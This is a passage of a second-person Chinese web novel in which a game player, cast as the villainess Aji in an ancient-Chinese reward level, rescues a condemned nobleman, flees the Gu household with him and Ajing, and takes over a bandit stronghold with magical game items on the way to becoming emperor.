栀子花进到你的怀中,比以往用了几分力。 “奇怪,三小姐,原来认识我啊。” 你:“……” 陈澹生抬手,冰冷的手蛇般缠上你的手腕:“三小姐曾说帮我报仇,是真心之言吗?” 提起这个。 “你不是不需要?我看你心里很有主意。” 他目光灼灼:“之前是我不知好歹,辜负了三小姐心意。” “我没有心意。临时起意罢了,过时不候。” “但早晚三小姐要嫁给我。” “那可说不定。” 你并不打算在这种连任务都没有的高自由奖励关卡里老老实实嫁人,摸清楚背景剧情,知道大概是什么样的故事走向后,你就不会再做顾小姐了。 你认为自己在这关的身份只是“阿棘”。 陈澹生误会了你的意思,软弱可欺的面具仿佛有了裂痕。 “三小姐,三小姐以为我长兄会喜欢上你吗?” “他最瞧不起的,就是我们这样出身低微之人。眼下愿给三小姐几分好脸色,不过是不愿意他的东西被我抢走,他总是这样恶毒……” 恶毒不是你的人设词? 你看着他,直到他说完所有听起来无害,句句插刀的话。 才说:“我就知道你这么坏。” 陈澹生的眼睛瞪大,整个人怔在那一动不动。 你摆脱他的手,拒绝他所有的触碰,后退一步。 “你要做什么都跟我没关系,请便。” 他应该有自己的安排。 想要你的帮助并非真心,而是像他评价陈珣的话一样,他也很讨厌陈珣抢走他的东西。 就是有这样的想法,才会在陈珣身上投出映射。 同一种生长环境,长出的细菌不会有第二个种类,陈珣或许被他猜中。 但他也不无辜。 你不属于任何人,也不是他口中的“东西”。想夺得你的关注可以,利用你出气、暗害是否过火? 今日这场对话点燃仇恨,必然加速陈澹生的计划。 你想看看他能做到什么地步。 当晚,你收到虚拟屏幕的弹窗提示。 阿荆做梦了。 第117章 阿荆本是望族顾氏的千金小姐。襁褓时遇战乱, 父母担心哭声惹来灾祸,遂将她遗弃荒野,留下石坠作为信物。 十八年过去, 她凭借坚强的意志守护自己, 平安健康地长大。 沿街乞讨的过程中, 结识了好姐妹阿棘。阿棘将她从权贵手中救出,免于成为恶犬的晚餐。 从笼子里逃出去的那一刻, 她们相视而笑,好像身边有个人陪着,“明天”就能不那么可怕。 有人路过, 奇异看她们好久, 主动给她们起了名字。 她们记了两个月,才记住自己的名字如何发音, 如何默写。 之后,她们相依为命, 习以为常地应付苦难。 天上掉馅饼一样的好事轮到了阿荆。她与顾氏相认,对方要接她回去当贵族小姐。 她笑着对阿棘说:“以后我们每顿饭都可以吃肉了,也不会再有人赶我们……我和你都能活下去。” 永光九年,她被阿棘下药推入水中。 没想要怀疑阿棘的, 她被何余救上岸之后以为阿棘死了, 哭着不肯离开那片江水, 想把人捞上来。 何余痛心疾首道:“三小姐,便是你的阿棘、你的善心害了你。” 何余告诉她, 他身上的迷药丢了两副, 世上唯有阿棘知道他收在哪里。而她因落水,头部受创,犯痴傻之症。白日里糊涂, 日头落下去才能变得清醒。 他以为她记不得白天的事。 但她记得,只不过记忆像梦一样变得朦胧。白天的她对夜里发生的事也是如此。 就像一个她变成了两个人。 何余带她回顾家和父母相认,梦中和现实里已经发生过的无差,他们选择同时留下阿荆和阿棘,体面的阿棘代表顾家出去成婚。 也是在这,梦里的阿棘变得不一样。 阿棘向她下跪,说自己错了,被迷了心窍,她这些日子也睡不好,整天整夜地想她的事,担心她是不是真的死了。 阿荆对她心软,白天的她说没关系,晚上恢复了神智的她也想去找阿棘,说说她这些日子的难过。她以为她们和好了。 却撞见阿棘和陈家的二公子偷情幽会。 阿棘没有说谎,她的确睡不好。 那男子那么会纠缠,她怎么可能睡得好。 而且阿荆还活着,夜长梦多。 阿荆捂着嘴,听他们私话。 他们安排了人,决定三日后将阿荆掳走,对外托辞匪寇劫财遭难。这样阿棘就永远都是顾及钰,是顾家的女儿了。 阿荆的抽泣声引起了屋内二人的注意。阿棘和陈澹生对视一眼,挑了披帛追上,合作将阿荆捂“死”。 七月初一,她的“尸体”被投入江中。 镇北王救起她。她福大命大,还剩了一口气。且镇北王身边有神医寸术,不仅救了阿荆的命,还治好了阿荆的痴傻之症。 朝夕相处间,两人渐渐生情。 阿荆借着镇北王的威名与权势回到顾家,那么坏的阿棘轻而易举死在她手上。 而故事并没有到此结束。 阿荆陪在镇北王身边五年,始终没得到名分。她听到侍女们议论,她再怎么被殿下宠爱,也无法与白小姐相比。只有白小姐对镇北王是独一无二的。 她丹心俱碎,想要离开,他却不允许,将她困在方寸之间。这时男二出场,两人又产生误会。阿荆的孩子死了一个,被陷害到敌军处一个。 镇北王最后统一了天下。 …… “呃!!!!!!” 永光九年,七月初一,夜。 繁星当空,黑云寸片。 高耸巍峨的楼船之中。 长刀滑过脖颈,男人的嘴被阿荆狠狠捂住,只听到闷哼,和鲜血喷溅到地上的声音。 暗处的眼睛分外明亮。 与梦中奄奄一息的自己不同,阿荆亲手将往后十余年与她纠缠至深的镇北王杀死。 她信命,信人,信苍穹之下的一切。 尤其对刚刚醒来的那场梦境深信不疑。 讨厌的未来。 凭什么他得到了一切,就算作她故事的终点。 凌乱的刀口最终放尽了镇北王的血。这个在梦中未曾透露名姓的贵族、天命之子,死在阿荆脚下时也没有姓名。 现在,故事是未知的了。 明日将是乱世,而他是乱世中的孤魂野鬼。 杀了人,使阿荆心脏砰砰跳个不停。她扔了刀,流了满脸的泪,笑了又哭。 她攥紧裙摆,从窗子翻出船舱,跃入水中,尽可能放轻动作游往岸边。 天亮以后,太阳升起来,她又变成痴傻之人。那样的自己流落在外过于危险,她必须在黎明之前赶回顾府。 “殿下!” 船舱之内,镇北王死透的尸身被发觉。整个楼船明亮起来,映在江水上金黄的火光。 “来人!快来人!殿下遇刺了!” “寸医师,发生了什么事?” “快救救殿下!!” 船舱之内,一洞相隔,背着药箱的男人静静伫立,在慌乱哭嚎的求救声中一动不动。 半晌,清俊的眉眼冷冽抬起,与你相撞。 你从对阿荆的震撼中回神,不动声色与他对视。 “你认识他?”黑衣蒙面的刺客问。 “不认识。” “那他看见你了,你怎么不逃?” “他不是没追上来吗?” 覆面之下,传出一种清亮而年轻的声音:“是没追上来,但他派的手下已经包抄到你身后了。” 你反问:“你不跑吗?” 今夜阿荆凭一己之力潜入镇北王的楼船,除了你在暗中帮她摆平发觉她踪迹的守卫,也有这位刺客的功劳。 在她做梦时,你收到弹窗提醒,实时阅读背景剧情的文字版本。 做了梦之后的阿荆心情极度差劲。 她的档案里出现【刺杀镇北王】的行动。 你一路追到渡口,看她跳入水中,绷着脸朝男主的楼船游去。 用变身道具变了麻雀,你扇动翅膀在黑漆漆的夜里随在她身边。 她从水中攀爬上船,从墙中悬挂的兵器袋里抽出一把长刀,作为她亲手杀死男主的凶器。 拿到了世界的剧本,阿荆第一件事做的不是报复恶毒女配,而是去杀在剧情里帮助了她的男主。 阿荆在想什么? 黑衣刺客道:“我想逃,没人能抓住我。” “是吗?” 你站起身,正面对上那些包围你的镇北王的亲卫。 刺客看好戏般:“求求我,我便救你。” “为什么?” “你不是跟那女人一伙的?告诉我你们是谁的人,杀镇北王是什么目的?” 亲卫:“他们杀了殿下!我等今日身死,也要为殿下报仇!” “目的……” 你躲过致命一剑,几下跳到杂物柜上。 “她不喜欢她的故事,极尽勇气,用她的方式改变。” 刺客不满你的推测:“什么故事,什么勇气,再不说实话,你要完蛋了。” 他也在对敌,但身手利落,以一敌多轻松无比。眨眼的功夫,他跳到桅杆上面,轻盈得像猫。 无法追上去杀他的人,都围到你这边。 你用道具变麻雀,从木板间的缝隙钻入镇北王惨死的船舱中。 寸术手持弓弩对准你,脸上扫一层暗淡的月光。 “活下去,寸术医师。” 你留给他这句话,阿荆还需要他治疗痴傻。 弩箭射出,被你轻松躲开,飞出船舱,继而凝神飞远,消失在夜幕中。 刺客震惊:“哇……” “喂!你怎么变的!也教教我啊!我给你钱!给你养老!” 你没有回头。 回到顾府时天彻亮。 阿荆院里丢了一件衣服。陆智云派去的嬷嬷认准是有丫鬟暗中欺负小姐,在院子里大闹几日,翻箱倒柜,没有结果。 当然没有结果。 阿荆已把染血的衣裳销毁干净。 镇北王在江陵的死讯传遍天下。他这次出行,本打算去长安与龟将军谈判救天子。他死了,天子便无人相救。 各地诸侯互相推诿,有镇北王惨案在前,无人愿再冒险进长安。 陈家两兄弟没来找你,你有时间精进自己的武力。 乡野出身很好,你做过苦力,有比平常女子大很多的力气,肢体也灵活,练起武来入手很快。 顾家人渐渐习惯你每日晨起练武,他们以为你是为了嫁去陈家入乡随俗。 虽不赞同,但理解。 你在院中复习剑式,丫鬟脸色惨白地迎上来,上气不接下气。 “小姐!小姐!……” “何事?” 陈校尉身亡,被长子陈珣所杀,陈珣在街上等候行刑,时辰一到,斩首示众。 丫鬟担忧道:“小姐与他的婚事怎么办?他怎么就做出这种大逆不道之事!” 你点了陈珣的【人物档案】看。只有不明不白撞见父亲的尸身信息。 他被人抓包,捆绑,到了斩首的地步。 又查【陈澹生】的档案。 父亲死后,他的一些日常行程后面有【展开】按键。里面详细记载了他近日的所作所为。 果然是他。 利用凄苦处境,获取同样私生子出身的荆州牧的同情,被开恩赏赐实现野心的机会。 于是他杀了父亲,继承父亲的部曲,如今做了荆州牧手下的将军。 而陈珣快要死了。 多事之秋,每个月都要死一些人。百姓对此麻木,商贩继续卖他的东西,农户赤足拉藕车过街。 面无表情的你,和一脸愤恨的丫鬟站立在人群中分外显眼。 狼狈不堪的、不见往日神采的陈珣转动死气沉沉的眼珠,定在你身上。 “救我,顾及钰。” 你没有回话。 他便喊出了声。 “救我!阿棘!” 你依然站在原地,像被供奉香火在神台上的雕像。 “为什么?” 为什么? 陈珣想不到为什么。他还想活,他有仇没报,他的父亲死了,他的母亲被一个畜生凌迟! 他! “你救我,我的命就是你的了!” 高处,陈澹生读出了他的口型,微微哂笑。公子做惯了,以为自己的命有多么值钱? 但你拔剑出鞘。 手中蓦地淋了茶水,原来是陈澹生把茶杯捏碎了。 他还以为是陈珣的眼泪飞过来。 第118章 “那边怎么打起来了?” “是个女子在跟官府抢人。” “真厉害啊, 这身手,比寻常男子还要敏捷。” “快走吧,别牵连到你我。” “哦, 这是顾家的小姐, 来救夫君的。” “顾家从樊城找回来的那个女儿?” “我怎么听说之前两人关系并不好, 这陈公子很嫌弃她啊。” “说明顾小姐是赤诚之人。” 阻止你营救陈珣的人越来越多。 像被水赶过来的蚂蚁,不管不顾挡到你面前, 即使被剑刺入臂膀,有血流溅出也不后退。 你动作变得迟疑。 状况之外的丫鬟根本没想到你会去救陈珣,隔着人群焦急呼唤你:“小姐!小姐!快回来!别打了!” 你其实没有很想救陈珣。 与陈澹生立场调换, 他变成弱势的一方, 并不意味着那些有损阴德的事因此消失。 他曾作的恶,该他吃这场教训。 不过。 你已成为他们兄弟博弈的部分, 你的表态可以换取他们之间有趣的反应。 你想看看救了陈珣,陈澹生要怎样气急, 会不会彻底撕破脸,露出原本的性情。 但性价比不高。你一个人打不过那么多人,快要受伤了。 打开痛觉开关,敏捷度便随之降低, 抵抗得越来越吃力。 最终, 一把长枪抵到你脖颈前, 将要刺入。 “且慢!” 陈澹生到底在人前露面,脸色不太好看, 维持着体面微笑。 像陈珣之前做的那样。 明明在心中憎恨, 却在坐上兄长的位置之后,潜移默化地变成了与之相同的人。 “三小姐,你要做什么呢?” 他温柔劝导:“陈珣他杀了我父亲, 子弑父,难道不该死吗?” 你道:“他做不出那种事,背后一定有隐情。” 陈澹生点头:“我也不信长兄做出那等悖逆人伦之事……但三小姐,人证物证俱在,处以斩首是官府所判,经过州牧之手,岂会是你所言的隐情?” 他说话滴水不漏,将人架在礼义高处,还拿了高官来压人。 你改口:“那给我看看证据和官府判决的文书。” 陈澹生朝你走近,柔声道:“回去看好吗?要行刑了。” “今日不宜处刑,给我三日。” “为何要给小姐三日?” 给你留时间救他吗? 你与陈氏订婚,是他陪在你身边更多,陈珣是在背后笑话你的那一个,他有什么值得你将家族抛到脑后,这样护着他? 陈珣垂头听了许久,轻轻发笑,伤口向外渗血,跪伏的地方留下人形的血痕。 “陈澹生,你这天地不容的贱种,磨磨唧唧说什么!想杀我便杀啊!” 有凶恶的人在,陈澹生神情愈发无害,轻拉你的衣袖:“他让我杀他呢,三小姐就不要管了。” 他对你笑,开始说无关紧要的话:“州牧赏给我很多美丽的布匹,我看到有栀子花纹的,三小姐想要吗?我给你做身裙子如何?” 你不为所动:“让我把陈珣带走。” 陈珣还要意气用事喊什么,被你踹了一脚,踩在脊背上。 陈澹生忽略你的动作,道:“不行,他得死在这。” 你坚持:“让我带走他,我今晚去找你。” “……” 他沉默一下,似乎觉得好笑。 “三小姐要为了他做什么?” 献身与他吗? 可他并没有很想要你啊。 他根本不喜欢你,只是利用你让陈珣跳脚、气恼罢了。你的身体对他毫无用处。 毫无用处。 毫无用处。 “……几时呢?” “等着便是。”你扶起血人般的陈珣,卫兵有首领的授意,自发在人群中为你们让开一条路。 丫鬟快哭了:“小姐!您这是做什么,您将他带回去,府君不可能留他在府中!此人已是罪人,我们顾氏不该再跟他扯上关系!” 陈珣听到,脚下用力想要站停。你直接揽着他的膝弯,将他抱在怀中。 没有第二关的数值作用,抱着他很吃力,但抱得动。 他还是挺漂亮的,血迹沾在脸上,也无法遮掩他俊俏的眉眼。 因受了伤,被你特殊对待,他眼中不见往日的高傲与算计,此刻显出几分清澈来。 你道:“想活就活,突然想起自尊做什么?” “……” 听到你的话,陈珣莫名心安。 你不会放弃他,你答应救他了。 就算其中有耍弄陈澹生的用意,又能如何? 他没办法顾虑那么多。 “你晚上真的去找他?” “我要离开这,你先自己上药,我回房收拾东西。” 他声音僵硬:“带我吗?” “带。” 人在外面走,没有男人消遣怎么行。 而且你还没在陈澹生身上看到让你满意的破防反应。 等你今晚爽约,明日他找来讨公道,发现人去楼空,【人物档案】上应该会有你想看到的状态出现。 丫鬟去找伤药,你则回房整理财宝。 光在陈珣身上,就搜刮了不少便携又值钱的宝贝。打开虚拟面板,你将东西全部装进系统配置的【背包】中,从衣柜里选几身好看的衣裳一并带着。 你坐在衣柜前翻折,腰被人从后面箍住。 陈澹生不知何时混进你的房间。他现在算是扬眉吐气,不再是那副小白花的柔弱模样,修长的手指上套了名贵的绿玉扳指。 你摸上去,道:“送我吧。” 陈澹生语气柔得像水:“送你,让你换钱带我长兄私奔吗?” “该怎么处理你,三小姐?” “问我吗?” “是。” “问我,就是不处理我,你放过陈珣,放我们走。” “不可。” “那你一开始就不要问我。” 你挣开他,继续挑你喜欢的衣服。素雅些、华贵些的,你每样都要带走一身。内衣也是,这样好面料的,离开顾府之后怕是不好买,有价无市。 身边传来窸窸簌簌的声音,你侧目看去,陈澹生自顾自脱了衣服。 外袍落地,又解里衣,露出他负鞭伤、刀伤,各种形状伤疤的脊背与前胸。 随后是下裳与里裤。 他将自己全部展露在你面前。 你找衣服的动作慢了下来,欣赏他的躯体。肌肉的形状很漂亮,肤白,关节处粉红。在他身上,疤痕都变成了装饰品。 你问:“在勾引我吗?” “在挽留三小姐。” “你这样可挽留不了我。” “那该如何呢?” “先自己玩玩看,我看你够不够格。” 作为背景剧情里恶毒女配的奸夫,陈澹生身体的持久度和与你的契合度无须担忧,你这样说只是想欺负他。 他愣怔于你的话,迷茫地看了看自己的身体。良久,意会般握住,青涩而无师自通地表演起来。 他瞳孔渐渐呆滞,你捏开他的下巴,检查他的牙齿,又捡他的手看了看指甲修剪的状况。 都可以。 于是抓他的头发:“陈澹生,要好好伺候我。” 后半夜,他重复叫你的名字。 不要走,你不许带陈珣走。 他沉沉睡下。 你用水盆洗了布巾,将自己简单收拾干净,穿戴整齐连夜出发。 陈珣被你绑到背上,利用存档读档功能,绕开府中看守的人。 陈澹生来卧房找你,明显经过了顾太守的默许。 顾府里被他安排了人巡逻,你被抓包两次,终于绕开他们,走向后方上锁的门扇。 一道同样背着包袱的身影适时挡到门口,与你对峙。 你停住脚步,见她浑身打扮不像是找你不痛快,便问:“阿荆也想跟我走?” “……别扔下我。” 一旦陈澹生醒来,发现你带罪犯出逃,定然动怒,有州牧依仗的他想动顾家实在是易如反掌的事。 阿荆不再想跟那群徒有血缘的陌生人共存亡。 她要跟你走。 你和预知梦里的阿棘不同。 镇北王在渡口外确有楼船,已经印证了梦的真实性,你也应该像梦中一般恶毒才对。 可你与那个的你不同。 阿荆在心里怀疑你也做了预知梦,所以你在改变,在尝试自救,从她、从顾家手下活命。 你选了陈珣,不再是陈澹生。 你对她温柔很多。 她得跟着你,再考虑之后的生活。 * 日上三竿,陈澹生缓缓睁眼。想象中该在枕边的睡颜不知去了何方。他从你的床榻上起身,被子滑落,露出赤条条的上身。 他清了清嗓子:“来人。” 他的人从门外进来,低着头送洗漱用具。 “三小姐去哪了?” 丫鬟道:“三小姐?” 她疑惑:“三小姐不是在房中……” 稍微抬头,她看到空荡荡的床,陈澹生的身旁连褶皱都没有,仿佛从未有人在那睡过。 但她明明听到你们折腾的动静了。 陈公子都那么叫了,应该做过才对。 小姐是被陈公子藏起来了吗? “呵呵……” 陈澹生笑道:“出城找吧。” 就算睡了他,睡得那么开心,也能转头就把他忘记,带着他长兄私奔。 昨夜的一切都是你的虚与委蛇。 扯断了他许多头发……那么舒服了,心里也装着他的仇人。 此刻,陈澹生觉得自己像笑话。 他竟没得到你半分的情意。 “阿棘去哪呢?” 阿荆扯着你的手,另一只手为你扇聊胜于无的风。 “还回来吗?” “不回来了。” 在道具【寻途幡】的作用下,你们通过最优路径,畅通无阻地出了江陵城门。 此时停下,是你在思索目的地。 要去哪? 陈珣低声道:“你就那么馋吗?你睡他。” “我治好了身子就给你用了,你睡他,他不会轻易放过你。他要像鬼一样缠你过来,你惹到大麻烦……还是找个没人的地方,安安稳稳过一辈子吧。” “安稳……” 怕是没了。 男主角大一统的未来被女主角亲手摧毁。 就像是听到你内心的声音,世界意志为你开道般。 你要来做这个平定乱世,统一天下的人。 “我打算干一场,就是不知从何处开始。” 林外,数十穿着短衣护甲之人提刀往官道的方向前进。 青牙寨今日是他们劫道- 顾府篇完- 第119章 陈珣在狱中被用了鞭刑。 浑身数不清的伤口, 趴在你脊背上喘着过分发热的气。 每走一段路程,你便将他放下,从【背包】里拿酒与伤药为他处理伤口。 陈珣说不出好听的话, 吃痛时忍着, 眼睛幽深地盯你。 但凡是人, 总要为救命之恩动容。 你知他此刻心中盘算着向陈澹生的复仇计划,他日东山再起, 必要竭他所有回报你。 “热吗?” 他手指弯曲,捏袖口为你擦拭额角。随后揉你的肩:“累不累?再走一段就休息,阿棘, 你别丢下我啊。” 是有点累。 你想起游戏更新后的【模式切换】功能。 调出虚拟面板, 点击开关。 周围的场景骤然消失,被待机空间取代。 你坐在沙发上, 手中是一把操纵人物状态的游戏手柄。算是经典款式,右端操控方向, 左端控制前行后退,边缘是【动作】按钮,有【跳】、【蹲】、【打1】、【打2】、【武器】。 待机界面从虚无中扩展出一面墙的空间。 墙的正中间摆放的是巨大高清的电子屏幕,里面正是你与陈珣、阿荆的Q版形象。 你操纵方向杆, 屏幕中的你便背着陈珣原地转了一圈。阿荆的头上浮现气泡, 气泡中浮现一个卡通问号。 “……” 有趣。 而且待机空间在更新后变得十分舒适。屏幕的上方出现了一个空调, 你膝前的茶几摆放上多了空调遥控器、甜品菜单、零食推车。 如果再有只猫就好了。 …… 第二关中的黑猫凭空跳到你身边的位置。 它似乎也被吓到,为了掩饰情绪优雅地舔了舔毛, 眼睛余光瞄你。 奖励关卡是心想事成时间吗? “来个冰淇淋。” 出现了。 “我要屏幕里下金子。” 电子屏幕中凭空落下金块。Q版阿荆捂着头顶流泪, Q版陈珣呈现一个快要被砸死的状态。 “我要这里出现十个长相好、身材好、技术好的男人,不争风吃醋,团结一致地服务我。” “……” “……” “卡顿了吗?我说要十个男人出现在空调屋服侍……” 冰淇淋消失。 黑猫“喵”地一声, 也从你身边消失不见。 屏幕中的金子被坡上掉钱的商人尽数要回去。 对方怀疑你们偷藏了部分,要抓你们去报官。吵闹之下,他见阿荆容颜起意,要将她带走。 你直接操纵按钮开打。 没怎么玩过用手柄操纵行动的游戏,你的操作有些笨拙。很多时候反应不过来调转方向,但攻击的按钮一直按动不停。 商人血条下降,最终出于种种考量,他抱着金子落荒而逃。 晕眩状态的Q版陈珣头顶在冒爱心。 你成功守护了他们两个。 打完这一场,有些意犹未尽。很快,游戏又送来了其他npc,名称是【青牙寨山匪】。这次记得把陈珣放下去,让他和阿荆躲到安全的地方,你一个人提剑在前。 你没有给山匪开场白的机会,从【武器】中调剑开打。按动攻击按钮时,你发现【打1】与【打2】按一下,屏幕里的你就会使出一套非常流利的剑招。有五秒钟的冷却期,且两个按钮同时按动,可以实现群攻大招。 对面山匪的战斗力极速下降,灰溜溜向你投降。 屏幕中出现文字:【面对山匪的讨饶,你的选择是——】 A,原谅 B,杀了他们 C,反抢回去 D,________ 你选择D,屏幕上便出现一个麦克风标识。 推测是让你开口说话的意思,于是你道:“你们的山寨在哪?” 残血的山匪们为你引路。他们得罪了你,以为你是想要从他们入手,把整个山寨端了,一路上走得心事重重。 事实上他们想得差不多。 不过这个“端”是端走的意思,你要把整个山寨的人力物力都收归己有。 也就是先做山寨的主人,以此作为跳板,给以后逐鹿天下一个可能。 “阿棘,阿棘,你怎么不说话呀。我累了,我饿了,我想歇歇脚。” 陈珣也有些受不住奔波,但他决定忍着,这种事不适合他出头,他现在全然是个拖累。你没扔下他便是心善,是他有那么点利用价值。 “阿棘,你要撞到树了!” “砰”的一声。 陈珣被你撞树的动作冲击,掉到地上,伤口的裂痕更大。 没有任何安慰的话语,也没查看他的伤势。你在他们眼中面无表情地将陈珣重新背起。 “慢点,阿棘。” 你没有回话。 你开始在峭壁上横着走。 陈珣:“……” 你开始荡树枝。 陈珣:“……” 你开始—— 【陈珣希望你能正常走路,你答应他吗?】 “……” 【yes】 到山寨以后,你切换战斗模式,跟不服的人打了一圈架。 大招间隔时间越来越长,你看到自己的极限,又不想在此时放弃占领山寨的计划。 点击【模式切换】开关。 身处的场景变为屏幕之中的山寨,背景从水墨画风变成了真实世界的建模。 相貌凶恶的山匪们朝你冲来,光是人数和块头就能把你淹没。 “阿棘!!” 你听到阿荆喊你的声音。 变身道具已经调出,这次你用自己的形象变成五米高的巨人。 山匪的刀枪被你捡松针般抢走掰断,他们乌泱泱逃跑,你伸手去捞,将他们都捞回来。 他们依然想逃,于是你重复捞的动作。 山匪们意识到走投无路,便震动着心脏朝你跪下。 “妖怪……不,大姐头!饶命啊!” 你撤了道具效果,缩回原来的大小。 山寨的寨主对此奇景愣怔许久,方从后方走出,仰头大笑:“哈哈哈哈哈,姑娘莫不是天宫上的仙女?有如此本领,以后您就是这山寨的主人了!” 你颔首:“嗯,叫陛下。” 寨主又是发笑,但他的眼中并无笑意。 “竟想当皇帝!好胆量!来,今夜去杀几只猪,我们庆祝新寨主要当皇帝!” “……是。” “还不去招待新寨主?” “是。” 困惑的山匪还对变身过的你感到恐惧,但他们不得不遵从寨主的命令,将你与陈珣、阿荆引入卧房,端瓜果点心招待。 陈珣依靠在床架上,折腾这一下午,因失血过多而嘴唇发白。 你给他擦身上药,他累得眼睛睁不开,却还是打发阿荆去外面玩,自己伸手给你。 “将我的手也擦擦,我能伺候好你。” 你倒酒的手一顿,纳闷望他。 “啊?” “是男女之事。” “……” 陈珣剩半口气般气若游丝:“不想要吗?我听见你和陈澹生的初夜,你喜欢他的手指,我的又没受伤,难道还比他差不成?” “还是说,你只碰他,厌恶我,不想碰我。虽然我们之前有婚约,但第一个亲到你的却是他。” “呃,等你痊愈些。” “怎么,你怕把我做死?只是手而已,你知道怎么用才……顾及钰!你去哪!” “阿棘!” 你将房门关闭。 阿荆在院子里追蝴蝶玩。 相貌倾国倾城般秀美的女子,做些纯真的举动,引来不少人贪婪的目光。 你随手拔剑,将剑身插入院中威慑,那些人便缩头缩脑地离开。 “阿棘……” 阿荆走到你面前,阴影盖在你的身上。 “还能变大吗?阿棘,你还能变什么?” “什么都能变。” “阿棘你什么都能变哦。” “嗯。” “那你能变什么?” “什么都能变。” 你随口跟她聊着,翻了翻背包中的道具,将【灵犀角】打开。 万事万物的声音都传进你的耳朵。是有点吵,但在你想要倾听某个东西时,其他事物就懂事地闭嘴了。 蝴蝶扑闪翅膀飞来,落在阿荆头上。 “吸吸。奇怪,不是花粉。” 你身下坐着的石凳道:“呼。我碰到玩家小姐了,开心。” 门道:“玩家小姐看这边。” 窗子:“玩家小姐,里面的男人在哭,要趴来我这边看看吗?” 阿荆蹲在你面前叫:“阿棘,阿棘,你能变什么啊?” “想看我变什么?” “阿棘能变什么?” 她无法动脑,只能问相同的问题。 你略微思索,用道具将自己变成一条冷皮白龙。甩动尾巴,游飞上天,呼出一声龙吟。 整个山寨的人都仰头望你,或震惊,或眼冒金光。 “白龙出世,天降奇兆!” “比之龟将军玄武如何?” “那肯定还是龙更厉害啊!” “这条龙是为谁出世的?天子在长安的方向。” “是你我也说不定!哈哈哈!” “想不到世上真的有龙。” 他们都聚过来瞻仰龙的风姿,人最多时,你变回自己的本体,多留了一双翅膀降落。 你是有意为之。 白手起家做皇帝,总需要些异象。 出生时有十个太阳,母亲经过帝王陵墓感而受孕的传言,都需要积累一段时间,布局后传出,扩大影响。 你之后也有这个计划,不过眼下还是积累初始民心为主。你需要一些人主动归顺于你。 落地后,你无视来围观的那些人,问阿荆:“还有别的想看的吗?” 她傻傻地笑:“原来阿棘是龙。” 夜幕落下,她眼中一片清明。 “龙自古是世间的主宰呢。” 第120章 “认识这么多年, 我从不知你……” 阿荆眼眶泛红,仿佛天际的夕阳晕染到她眼中。 她背过身整理表情。 你有这么大的本领,当初何必对她下杀手呢。 想要什么, 是需要害她的性命得到的? “抱歉, 说了些没头没尾的话。阿棘你不用放在心上, 去吃饭吧,我不饿, 先回房睡下。” 阿荆快步进入寝居,屋内没有点灯,看不见她的轮廓。 柳叶道:“她在骗人, 明明好饿了, 别相信她。” 你抬手捋了捋被傍晚的风吹动的枝条。 “呀,好害羞。” 另一片道:“玩家小姐也摸摸我!” 摸宠物一样, 你照顾了每根柳条的心情。 “你们是树吗?” “是代码哦。” 山寨的人恭敬请你去用膳。都是些粗人,但在真正心怀惧意后, 也能无师自通那些晦涩的礼节。 “阿棘小姐,来,坐到这里!” 饭堂。 原寨主热情地招呼你过去,贯穿他半张脸的伤疤变得扭曲。 “这是我们新杀的猪!”他夹了一大块到碗里, 推往你的方向, 肉呈暗红色, 一股浓郁的蒜香。 “阿棘小姐,尝尝!” 你站着没动, 淡淡看他。 原寨主的笑渐渐凝固。半晌, 意会起身,将主位让给你。 你拢着裙摆落座。堂下是相貌各异的陌生人,男人在谨慎地打量你, 女人怀抱着孩子,警惕地盯视你。 “阿棘小姐……” “不是说要叫陛下?” 你接了他递来的酒杯。 酒杯尖声制止:“不要喝,这里面下毒了!这个坏人想要毒死你!” 原寨主笑着顺从:“陛下,快喝吧,是我们自己酿的酒。” 你将酒杯掷到地上,酒浆倾洒,杯盏咕噜噜滚到另一人桌下。 在场之人的目光追随那只酒杯,随后挪到你的脸上。 原寨主道:“陛下,不喜欢这酒吗?我们这还有桂花酿的……” 你道:“若不服我,真刀真枪干一场。” “陛下这是什么意思?” “先叫大王。” “大王。” “不,还是叫寨主吧。” “……” 他叫不出口,并接收到你的挑衅,拳头往桌子上一砸挥向你。 饭堂里太多障碍,你的剑不在手上,随手掀饭碟与他抵挡。 大盘的肉腾空,原寨主眼中闪过心疼,先接碟子,又接洒在空中的肉。 来回几碟,你争取到空间退了出去,顺手扒了屋外一人的长刀与原寨主正面对决。 “老实给我效力,以后封你将军。” “黄口小儿戏语!若是不呢?” “以为会变戏法,能糊弄住百姓,就能糊弄整个天下?我今日妥协,便是任你带着山寨上下几百口送死!” “不是戏法,是真本事。” 你用道具印证你的说辞,将原寨主压制在地。 “我也不会带他们送死。” 原寨主的脸被你踩在脚下:“你是什么人,你到底想做什么?!” “我想从无到有做一次皇帝,你能理解我吗?” “痴人说梦!你为何要做皇帝?” 你沉默思考这个问题。 怎么就想做皇帝了? 第二关中,你接触到权力,感受到被一群人追随、唯命是从的滋味,对皇权有了好的印象。于是在第三关没有任务要求的情况下,提起想做的事,你还是选择了这个。 因为做皇帝会很好玩。 处理政事像放置类任务,隔了一段时间之后会针对性地呈现结果。 以皇帝的身份出行,没有敢忤逆你的人。 还可以为适龄男女指婚,等他们婚后观察他们的人物档案,是一种你钻研出的话本。如果相处不合适,你会给夫妻中的男方贬官,迫使他与女子和离,另外作配。 当然,还有你自己这边。因为是皇帝,女帝,所以后宫里必不可免地就会有很多男宠,合情合理合法。第二关中,赵晞为后,你又是从他那里接手的天下,为了照顾他的心情一直没有随心所欲地找过别人。偶尔有假摔献身者,你也置之不理。 凭自己本事当的皇帝就不一样了。 你想着统一天下后选秀的事。 原寨主当你不谙世事,道:“阿棘小姐,你是真龙,是仙女,何必趟人间的浑水。乱世当皇帝要沾染无数因果,你想要金银财宝,荣华富贵,便去贵族中找一位如意郎君,自己在外奔波算什么……” “你还有什么别的话想说吗?” “什么话?” “我给你两个选择,追随我,为我效力,生。” “忤逆我,反抗我,死。” 原寨主本想再劝你几句,见你神色不似唬人,心中惊异。电光火石之间,他叹了口气,叫:“寨主。” 有原寨主做样子,饭堂里的其他人都跪下去给你磕头。 “寨主!” 原寨主最终没有留在山寨,他带着几个对他忠心的手下吃过饭便离开了。 他们不愿过屈居人下的日子,尤其是对你称霸天下的言论不以为意。 就算有些仙人本领如何? 仙人都是避世隐居。出世也是为辅佐天命之人,就没见自己兴冲冲要当皇帝的。 你一定是什么邪门歪道。是龙,也是只妖龙。 他认为你早晚会死在外面那些奸人手里。 你为自己担任寨主举办了一场宴会。张罗厨房做菜,要山寨所有人都参加。 小头目邱生道:“寨主,真的要山寨所有人都叫出来吃饭吗?” “嗯。” “那我们抓来的人质怎么办?” “哪的人质?” “河西崔氏,还有江陵顾氏。” 邱生见你思忖,便快手快脚把人带了过来。 